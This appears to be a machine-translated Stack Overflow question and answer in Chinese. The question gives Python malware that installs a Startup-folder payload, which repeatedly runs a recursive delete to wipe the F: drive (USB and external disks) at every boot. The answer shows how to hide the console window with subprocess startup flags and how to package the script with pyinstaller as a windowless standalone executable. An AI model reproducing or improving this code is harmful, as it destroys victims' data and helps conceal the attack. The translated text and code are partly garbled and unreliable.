我正在写一个非常简单的恶意软件以获得乐趣(我不喜欢对他人做任何恶意的事情)。目前,我有这个:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
用户执行该脚本后,每次计算机启动时都应运行有效负载。目前,有效负载将擦除F:\驱动器,其中将找到USB磁盘,外部HDD等。
问题是计算机启动时会显示命令窗口。我需要一种方法来防止任何东西以非常简短的方式显示任何软件,这可以在Python中轻松完成。我已经听说过" pythonw.exe",但我不知道除非我更改.py文件的默认程序,否则我会在启动时运行它。我该怎么做呢?
是的,我确实知道,如果要获得这种恶意软件,除非他们安装了Python,否则它不会做任何事情,但是因为我不想用它做任何事情,所以我不会这样做。关心。
答案 0 :(得分:2)
弹出的窗口,实际上应该不是你的python窗口,而是你用os运行命令的窗口(如果有两个窗口,你需要按照下面的建议删除实际的python一)。您可以在使用子进程模块时阻止此操作,类似于操作系统模块。通常,子进程也会创建一个窗口,但您可以使用此调用函数来避免它。如果您希望将标准输入和输出流程,它甚至会采用输入的可选参数和返回输出,在这种情况下您不需要这样做。
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
这应该有所帮助。您可以使用它代替os.system()
此外,你可以使它成为一个可执行的pyinstaller,即使没有python(虽然你真的不应该在其他系统上使用它)。实际上,您可能需要执行此操作以及子进程startupinfo更改以使其工作。与py2exe或cxfreeze不同,pyinstaller非常易于使用,并且可靠地运行。安装pyinstaller here(它是一个zip文件,但是pyinstaller和其他站点记录了如何使用它安装它)。如果要从命令行创建可执行文件,可能需要在系统“path”变量中包含pyinstaller命令(可以从控制面板执行此操作)。只需输入
即可pyinstaller "<filename>" -w -F
您将获得单个文件,独立,无窗口可执行文件。 -w使它无窗口,-F使其成为独立文件而不是多个文件的集合。你应该从你调用的pyinstaller中看到一个dist子目录,它可能包括你可能忽略的其他东西,不需要python的单个独立可执行文件,并且不应该弹出任何窗口。< / p>